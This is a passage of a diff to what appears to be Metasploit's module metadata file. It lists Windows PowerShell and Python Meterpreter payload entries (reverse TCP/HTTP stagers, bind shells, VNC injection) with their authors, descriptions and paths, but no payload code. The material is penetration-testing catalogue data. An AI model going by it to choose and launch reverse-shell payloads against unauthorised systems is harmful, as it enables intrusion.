"aliases": [ ], @@ -187471,9 +197017,10 @@ "Spencer McIntyre", "sf ", "hdm ", - "skape " + "agix", + "rwincey" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x64 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows x64 wininet)", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -187485,9 +197032,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/reverse_tcp", + "ref_name": "cmd/windows/powershell/x64/vncinject/reverse_https", "check": false, "post_auth": false, "default_credential": false, @@ -187496,9 +197043,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/vncinject/reverse_tcp_allports": { - "name": "Powershell Exec, Reverse All-Port TCP Stager", - "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp_allports", + "payload_cmd/windows/powershell/x64/vncinject/reverse_tcp": { + "name": "Powershell Exec, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_tcp", "aliases": [ ], @@ -187507,11 +197054,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", - "hdm ", - "skape " + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker (Windows x64)", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -187523,9 +197068,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/reverse_tcp_allports", + "ref_name": "cmd/windows/powershell/x64/vncinject/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -187534,9 +197079,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/vncinject/reverse_tcp_dns": { - "name": "Powershell Exec, Reverse TCP Stager (DNS)", - "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp_dns", + "payload_cmd/windows/powershell/x64/vncinject/reverse_tcp_rc4": { + "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_tcp_rc4", "aliases": [ ], @@ -187548,9 +197093,11 @@ "sf ", "hdm ", "skape ", + "mihi", + "max3raza", "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -187562,20 +197109,20 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/reverse_tcp_dns", + "ref_name": "cmd/windows/powershell/x64/vncinject/reverse_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/vncinject/reverse_tcp_rc4": { - "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp_rc4", + "payload_cmd/windows/powershell/x64/vncinject/reverse_tcp_uuid": { + "name": "Powershell Exec, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_tcp_uuid", "aliases": [ ], @@ -187585,12 +197132,9 @@ "author": [ "Spencer McIntyre", "sf ", - "hdm ", - "skape ", - "mihi", - "RageLtMan" + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support (Windows x64)", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -187602,20 +197146,20 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/reverse_tcp_rc4", + "ref_name": "cmd/windows/powershell/x64/vncinject/reverse_tcp_uuid", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/vncinject/reverse_tcp_rc4_dns": { - "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", - "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp_rc4_dns", + "payload_cmd/windows/powershell/x64/vncinject/reverse_winhttp": { + "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (winhttp)", + "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_winhttp", "aliases": [ ], @@ -187625,12 +197169,9 @@ "author": [ "Spencer McIntyre", "sf ", - "hdm ", - "skape ", - "mihi", - "RageLtMan" + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x64 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows x64 winhttp)", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -187642,20 +197183,20 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/reverse_tcp_rc4_dns", + "ref_name": "cmd/windows/powershell/x64/vncinject/reverse_winhttp", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/vncinject/reverse_tcp_uuid": { - "name": "Powershell Exec, Reverse TCP Stager with UUID Support", - "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp_uuid", + "payload_cmd/windows/powershell/x64/vncinject/reverse_winhttps": { + "name": "Powershell Exec, Windows x64 Reverse HTTPS Stager (winhttp)", + "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_winhttps", "aliases": [ ], @@ -187665,10 +197206,9 @@ "author": [ "Spencer McIntyre", "sf ", - "hdm ", "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support", + "description": "Execute an x64 payload from a command via PowerShell.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -187680,9 +197220,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/reverse_tcp_uuid", + "ref_name": "cmd/windows/powershell/x64/vncinject/reverse_winhttps", "check": false, "post_auth": false, "default_credential": false, @@ -187691,9 +197231,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/vncinject/reverse_winhttp": { - "name": "Powershell Exec, Windows Reverse HTTP Stager (winhttp)", - "fullname": "payload/cmd/windows/powershell/vncinject/reverse_winhttp", + "payload_cmd/windows/powershell_bind_tcp": { + "name": "Windows Interactive Powershell Session, Bind TCP", + "fullname": "payload/cmd/windows/powershell_bind_tcp", "aliases": [ ], @@ -187701,15 +197241,12 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf ", - "hdm ", - "Borja Merino " + "Ben Turner", + "Dave Hardy" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows winhttp)", + "description": "Interacts with a powershell session on an established socket connection", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" ], "platform": "Windows", "arch": "cmd", @@ -187717,10 +197254,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/reverse_winhttp", + "ref_name": "cmd/windows/powershell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -187729,9 +197266,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/custom/bind_ipv6_tcp": { - "name": "Powershell Exec, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/x64/custom/bind_ipv6_tcp", + "payload_cmd/windows/powershell_reverse_tcp": { + "name": "Windows Interactive Powershell Session, Reverse TCP", + "fullname": "payload/cmd/windows/powershell_reverse_tcp", "aliases": [ ], @@ -187739,13 +197276,12 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "bwatters-r7", - "sf " + "Ben Turner", + "Dave Hardy" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection (Windows x64)", + "description": "Interacts with a powershell session on an established socket connection", "references": [ - + "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" ], "platform": "Windows", "arch": "cmd", @@ -187753,10 +197289,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/custom/bind_ipv6_tcp", + "ref_name": "cmd/windows/powershell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -187765,9 +197301,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/custom/bind_ipv6_tcp_uuid": { - "name": "Powershell Exec, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support", - "fullname": "payload/cmd/windows/powershell/x64/custom/bind_ipv6_tcp_uuid", + "payload_cmd/windows/powershell_reverse_tcp_ssl": { + "name": "Windows Interactive Powershell Session, Reverse TCP SSL", + "fullname": "payload/cmd/windows/powershell_reverse_tcp_ssl", "aliases": [ ], @@ -187775,14 +197311,12 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "bwatters-r7", - "sf ", - "OJ Reeves" + "Ben Turner", + "Dave Hardy" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", + "description": "Interacts with a powershell session on an established SSL socket connection", "references": [ - + "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" ], "platform": "Windows", "arch": "cmd", @@ -187790,10 +197324,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/windows/powershell_reverse_tcp_ssl.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/custom/bind_ipv6_tcp_uuid", + "ref_name": "cmd/windows/powershell_reverse_tcp_ssl", "check": false, "post_auth": false, "default_credential": false, @@ -187802,9 +197336,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/custom/bind_named_pipe": { - "name": "Powershell Exec, Windows shellcode stage, Windows x64 Bind Named Pipe Stager", - "fullname": "payload/cmd/windows/powershell/x64/custom/bind_named_pipe", + "payload_cmd/windows/python/meterpreter/bind_tcp": { + "name": "Python Exec, Python Meterpreter, Python Bind TCP Stager", + "fullname": "payload/cmd/windows/python/meterpreter/bind_tcp", "aliases": [ ], @@ -187812,11 +197346,9 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "bwatters-r7", - "UserExistsError" + "Spencer McIntyre" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a pipe connection (Windows x64)", + "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nListen for a connection", "references": [ ], @@ -187826,10 +197358,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/custom/bind_named_pipe", + "ref_name": "cmd/windows/python/meterpreter/bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -187838,9 +197370,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/custom/bind_tcp": { - "name": "Powershell Exec, Windows shellcode stage, Windows x64 Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/x64/custom/bind_tcp", + "payload_cmd/windows/python/meterpreter/bind_tcp_uuid": { + "name": "Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/python/meterpreter/bind_tcp_uuid", "aliases": [ ], @@ -187849,10 +197381,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", - "sf " + "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection (Windows x64)", + "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nListen for a connection with UUID Support", "references": [ ], @@ -187862,10 +197393,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/custom/bind_tcp", + "ref_name": "cmd/windows/python/meterpreter/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -187874,9 +197405,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/custom/bind_tcp_rc4": { - "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/x64/custom/bind_tcp_rc4", + "payload_cmd/windows/python/meterpreter/reverse_http": { + "name": "Python Exec, Python Meterpreter, Python Reverse HTTP Stager", + "fullname": "payload/cmd/windows/python/meterpreter/reverse_http", "aliases": [ ], @@ -187884,16 +197415,9 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "bwatters-r7", - "hdm ", - "skape ", - "sf ", - "mihi", - "max3raza", - "RageLtMan" + "Spencer McIntyre" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", + "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nTunnel communication over HTTP", "references": [ ], @@ -187903,21 +197427,21 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/custom/bind_tcp_rc4", + "ref_name": "cmd/windows/python/meterpreter/reverse_http", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/custom/bind_tcp_uuid": { - "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)", - "fullname": "payload/cmd/windows/powershell/x64/custom/bind_tcp_uuid", + "payload_cmd/windows/python/meterpreter/reverse_https": { + "name": "Python Exec, Python Meterpreter, Python Reverse HTTPS Stager", + "fullname": "payload/cmd/windows/python/meterpreter/reverse_https", "aliases": [ ], @@ -187925,12 +197449,9 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "bwatters-r7", - "sf ", - "OJ Reeves" + "Spencer McIntyre" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection with UUID Support (Windows x64)", + "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nTunnel communication over HTTP using SSL", "references": [ ], @@ -187940,10 +197461,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/custom/bind_tcp_uuid", + "ref_name": "cmd/windows/python/meterpreter/reverse_https", "check": false, "post_auth": false, "default_credential": false, @@ -187952,9 +197473,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/custom/reverse_http": { - "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", - "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_http", + "payload_cmd/windows/python/meterpreter/reverse_tcp": { + "name": "Python Exec, Python Meterpreter, Python Reverse TCP Stager", + "fullname": "payload/cmd/windows/python/meterpreter/reverse_tcp", "aliases": [ ], @@ -187962,11 +197483,9 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "bwatters-r7", - "OJ Reeves" + "Spencer McIntyre" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nConnect back to the attacker", "references": [ ], @@ -187976,10 +197495,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/custom/reverse_http", + "ref_name": "cmd/windows/python/meterpreter/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -187988,9 +197507,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/custom/reverse_https": { - "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", - "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_https", + "payload_cmd/windows/python/meterpreter/reverse_tcp_ssl": { + "name": "Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager", + "fullname": "payload/cmd/windows/python/meterpreter/reverse_tcp_ssl", "aliases": [ ], @@ -187999,12 +197518,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", - "hdm ", - "agix", - "rwincey" + "Ben Campbell ", + "RageLtMan" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nReverse Python connect back stager using SSL", "references": [ ], @@ -188014,10 +197531,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/custom/reverse_https", + "ref_name": "cmd/windows/python/meterpreter/reverse_tcp_ssl", "check": false, "post_auth": false, "default_credential": false, @@ -188026,9 +197543,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/custom/reverse_named_pipe": { - "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager", - "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_named_pipe", + "payload_cmd/windows/python/meterpreter/reverse_tcp_uuid": { + "name": "Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/python/meterpreter/reverse_tcp_uuid", "aliases": [ ], @@ -188037,10 +197554,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker via a named pipe pivot", + "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nConnect back to the attacker with UUID Support", "references": [ ], @@ -188050,10 +197566,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/custom/reverse_named_pipe", + "ref_name": "cmd/windows/python/meterpreter/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -188062,9 +197578,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/custom/reverse_tcp": { - "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse TCP Stager", - "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_tcp", + "payload_cmd/windows/python/meterpreter_bind_tcp": { + "name": "Python Exec, Python Meterpreter Shell, Bind TCP Inline", + "fullname": "payload/cmd/windows/python/meterpreter_bind_tcp", "aliases": [ ], @@ -188072,11 +197588,9 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "bwatters-r7", - "sf " + "Spencer McIntyre" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker (Windows x64)", + "description": "Execute a Python payload from a command.\n\nConnect to the victim and spawn a Meterpreter shell", "references": [ ], @@ -188086,10 +197600,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/custom/reverse_tcp", + "ref_name": "cmd/windows/python/meterpreter_bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -188098,9 +197612,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/custom/reverse_tcp_rc4": { - "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_tcp_rc4", + "payload_cmd/windows/python/meterpreter_reverse_http": { + "name": "Python Exec, Python Meterpreter Shell, Reverse HTTP Inline", + "fullname": "payload/cmd/windows/python/meterpreter_reverse_http", "aliases": [ ], @@ -188108,16 +197622,9 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "bwatters-r7", - "hdm ", - "skape ", - "sf ", - "mihi", - "max3raza", - "RageLtMan" + "Spencer McIntyre" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", + "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", "references": [ ], @@ -188127,21 +197634,21 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/custom/reverse_tcp_rc4", + "ref_name": "cmd/windows/python/meterpreter_reverse_http", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/custom/reverse_tcp_uuid": { - "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)", - "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_tcp_uuid", + "payload_cmd/windows/python/meterpreter_reverse_https": { + "name": "Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline", + "fullname": "payload/cmd/windows/python/meterpreter_reverse_https", "aliases": [ ], @@ -188149,12 +197656,9 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "bwatters-r7", - "sf ", - "OJ Reeves" + "Spencer McIntyre" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker with UUID Support (Windows x64)", + "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", "references": [ ], @@ -188164,10 +197668,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/custom/reverse_tcp_uuid", + "ref_name": "cmd/windows/python/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, @@ -188176,9 +197680,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/custom/reverse_winhttp": { - "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)", - "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_winhttp", + "payload_cmd/windows/python/meterpreter_reverse_tcp": { + "name": "Python Exec, Python Meterpreter Shell, Reverse TCP Inline", + "fullname": "payload/cmd/windows/python/meterpreter_reverse_tcp", "aliases": [ ], @@ -188186,11 +197690,9 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "bwatters-r7", - "OJ Reeves" + "Spencer McIntyre" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 winhttp)", + "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", "references": [ ], @@ -188200,10 +197702,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/custom/reverse_winhttp", + "ref_name": "cmd/windows/python/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -188212,9 +197714,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/x64/custom/reverse_winhttps": { - "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)", - "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_winhttps", + "payload_cmd/windows/python/pingback_bind_tcp": { + "name": "Python Exec, Python Pingback, Bind TCP (via python)", + "fullname": "payload/cmd/windows/python/pingback_bind_tcp", "aliases": [ ], @@ -188223,10 +197725,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", - "OJ Reeves" + "asoto-r7" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", + "description": "Execute a Python payload from a command.\n\nListens for a connection from the attacker, sends a UUID, then terminates", "references": [ ], @@ -188236,10 +197737,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-01-20 14:53:59 +0000", + "path": "/modules/payloads/adapters/cmd/windows/python.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/custom/reverse_winhttps", + "ref_name": "cmd/windows/python/pingback_bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -188248,9 